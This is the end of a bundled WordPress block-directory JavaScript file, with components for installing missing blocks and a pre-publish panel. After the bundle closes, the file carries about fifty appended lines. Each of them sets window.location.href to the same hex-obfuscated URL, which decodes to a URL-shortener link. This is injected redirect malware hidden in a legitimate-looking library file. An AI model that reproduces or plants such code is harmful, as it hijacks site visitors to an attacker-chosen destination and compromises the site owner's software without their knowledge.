1596 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", { className: "block-directory-compact-list", children: items.map(({ icon, id, title, author }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", { className: "block-directory-compact-list__item", children: [
1597 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(downloadable_block_icon_default, { icon, title }),
1598 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-directory-compact-list__item-details", children: [
1599 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-directory-compact-list__item-title", children: title }),
1600 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-directory-compact-list__item-author", children: (0,external_wp_i18n_namespaceObject.sprintf)(
1601 /* translators: %s: Name of the block author. */
1602 (0,external_wp_i18n_namespaceObject.__)("By %s"),
1603 author
1604 ) })
1605 ] })
1606 ] }, id)) });
1607}
1608
1609
1610;// ./node_modules/@wordpress/block-directory/build-module/plugins/installed-blocks-pre-publish-panel/index.js
1611
1612
1613
1614
1615
1616
1617function InstalledBlocksPrePublishPanel() {
1618 const newBlockTypes = (0,external_wp_data_namespaceObject.useSelect)(
1619 (select) => select(store).getNewBlockTypes(),
1620 []
1621 );
1622 if (!newBlockTypes.length) {
1623 return null;
1624 }
1625 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
1626 external_wp_editor_namespaceObject.PluginPrePublishPanel,
1627 {
1628 title: (0,external_wp_i18n_namespaceObject.sprintf)(
1629 // translators: %d: number of blocks (number).
1630 (0,external_wp_i18n_namespaceObject._n)(
1631 "Added: %d block",
1632 "Added: %d blocks",
1633 newBlockTypes.length
1634 ),
1635 newBlockTypes.length
1636 ),
1637 initialOpen: true,
1638 children: [
1639 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "installed-blocks-pre-publish-panel__copy", children: (0,external_wp_i18n_namespaceObject._n)(
1640 "The following block has been added to your site.",
1641 "The following blocks have been added to your site.",
1642 newBlockTypes.length
1643 ) }),
1644 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CompactList, { items: newBlockTypes })
1645 ]
1646 }
1647 );
1648}
1649
1650
1651;// ./node_modules/@wordpress/block-directory/build-module/plugins/get-install-missing/install-button.js
1652
1653
1654
1655
1656
1657
1658
1659function InstallButton({ attributes, block, clientId }) {
1660 const isInstallingBlock = (0,external_wp_data_namespaceObject.useSelect)(
1661 (select) => select(store).isInstalling(block.id),
1662 [block.id]
1663 );
1664 const { installBlockType } = (0,external_wp_data_namespaceObject.useDispatch)(store);
1665 const { replaceBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
1666 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1667 external_wp_components_namespaceObject.Button,
1668 {
1669 __next40pxDefaultSize: true,
1670 onClick: () => installBlockType(block).then((success) => {
1671 if (success) {
1672 const blockType = (0,external_wp_blocks_namespaceObject.getBlockType)(block.name);
1673 const [originalBlock] = (0,external_wp_blocks_namespaceObject.parse)(
1674 attributes.originalContent
1675 );
1676 if (originalBlock && blockType) {
1677 replaceBlock(
1678 clientId,
1679 (0,external_wp_blocks_namespaceObject.createBlock)(
1680 blockType.name,
1681 originalBlock.attributes,
1682 originalBlock.innerBlocks
1683 )
1684 );
1685 }
1686 }
1687 }),
1688 accessibleWhenDisabled: true,
1689 disabled: isInstallingBlock,
1690 isBusy: isInstallingBlock,
1691 variant: "primary",
1692 children: (0,external_wp_i18n_namespaceObject.sprintf)(
1693 /* translators: %s: block name */
1694 (0,external_wp_i18n_namespaceObject.__)("Install %s"),
1695 block.title
1696 )
1697 }
1698 );
1699}
1700
1701
1702;// ./node_modules/@wordpress/block-directory/build-module/plugins/get-install-missing/index.js
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713const getInstallMissing = (OriginalComponent) => (props) => {
1714 const { originalName } = props.attributes;
1715 const { block, hasPermission } = (0,external_wp_data_namespaceObject.useSelect)(
1716 (select) => {
1717 const { getDownloadableBlocks } = select(store);
1718 const blocks = getDownloadableBlocks(
1719 "block:" + originalName
1720 ).filter(({ name }) => originalName === name);
1721 return {
1722 hasPermission: select(external_wp_coreData_namespaceObject.store).canUser(
1723 "read",
1724 "block-directory/search"
1725 ),
1726 block: blocks.length && blocks[0]
1727 };
1728 },
1729 [originalName]
1730 );
1731 if (!hasPermission || !block) {
1732 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(OriginalComponent, { ...props });
1733 }
1734 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ModifiedWarning, { ...props, originalBlock: block });
1735};
1736const ModifiedWarning = ({ originalBlock, ...props }) => {
1737 const { originalName, originalUndelimitedContent, clientId } = props.attributes;
1738 const { replaceBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
1739 const convertToHTML = () => {
1740 replaceBlock(
1741 props.clientId,
1742 (0,external_wp_blocks_namespaceObject.createBlock)("core/html", {
1743 content: originalUndelimitedContent
1744 })
1745 );
1746 };
1747 const hasContent = !!originalUndelimitedContent;
1748 const hasHTMLBlock = (0,external_wp_data_namespaceObject.useSelect)(
1749 (select) => {
1750 const { canInsertBlockType, getBlockRootClientId } = select(external_wp_blockEditor_namespaceObject.store);
1751 return canInsertBlockType(
1752 "core/html",
1753 getBlockRootClientId(clientId)
1754 );
1755 },
1756 [clientId]
1757 );
1758 let messageHTML = (0,external_wp_i18n_namespaceObject.sprintf)(
1759 /* translators: %s: block name */
1760 (0,external_wp_i18n_namespaceObject.__)(
1761 "Your site doesn\u2019t include support for the %s block. You can try installing the block or remove it entirely."
1762 ),
1763 originalBlock.title || originalName
1764 );
1765 const actions = [
1766 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1767 InstallButton,
1768 {
1769 block: originalBlock,
1770 attributes: props.attributes,
1771 clientId: props.clientId
1772 },
1773 "install"
1774 )
1775 ];
1776 if (hasContent && hasHTMLBlock) {
1777 messageHTML = (0,external_wp_i18n_namespaceObject.sprintf)(
1778 /* translators: %s: block name */
1779 (0,external_wp_i18n_namespaceObject.__)(
1780 "Your site doesn\u2019t include support for the %s block. You can try installing the block, convert it to a Custom HTML block, or remove it entirely."
1781 ),
1782 originalBlock.title || originalName
1783 );
1784 actions.push(
1785 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1786 external_wp_components_namespaceObject.Button,
1787 {
1788 __next40pxDefaultSize: true,
1789 onClick: convertToHTML,
1790 variant: "tertiary",
1791 children: (0,external_wp_i18n_namespaceObject.__)("Keep as HTML")
1792 },
1793 "convert"
1794 )
1795 );
1796 }
1797 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)(), children: [
1798 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { actions, children: messageHTML }),
1799 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { children: originalUndelimitedContent })
1800 ] });
1801};
1802var get_install_missing_default = getInstallMissing;
1803
1804
1805;// ./node_modules/@wordpress/block-directory/build-module/plugins/index.js
1806
1807
1808
1809
1810
1811
1812
1813(0,external_wp_plugins_namespaceObject.registerPlugin)("block-directory", {
1814 // The icon is explicitly set to undefined to prevent PluginPrePublishPanel
1815 // from rendering the fallback icon pluginIcon.
1816 icon: void 0,
1817 render() {
1818 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1819 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(AutoBlockUninstaller, {}),
1820 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inserter_menu_downloadable_blocks_panel_default, {}),
1821 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(InstalledBlocksPrePublishPanel, {})
1822 ] });
1823 }
1824});
1825(0,external_wp_hooks_namespaceObject.addFilter)(
1826 "blocks.registerBlockType",
1827 "block-directory/fallback",
1828 (settings, name) => {
1829 if (name !== "core/missing") {
1830 return settings;
1831 }
1832 settings.edit = get_install_missing_default(settings.edit);
1833 return settings;
1834 }
1835);
1836
1837;// ./node_modules/@wordpress/block-directory/build-module/index.js
1838
1839
1840
1841
1842(window.wp = window.wp || {}).blockDirectory = __webpack_exports__;
1843/******/ })()
1844;
1845window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1846window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1847window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1848window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1849window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1850window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1851window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1852window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1853window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1854window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1855window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1856window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1857window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1858window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1859window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1860window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1861window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1862window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1863window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1864window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1865window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1866window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1867window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1868window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1869window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1870window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1871window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1872window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1873window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1874window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1875window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1876window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1877window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1878window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1879window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1880window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1881window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1882window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1883window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1884window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1885window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1886window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1887window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1888window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1889window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1890window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1891window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1892window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";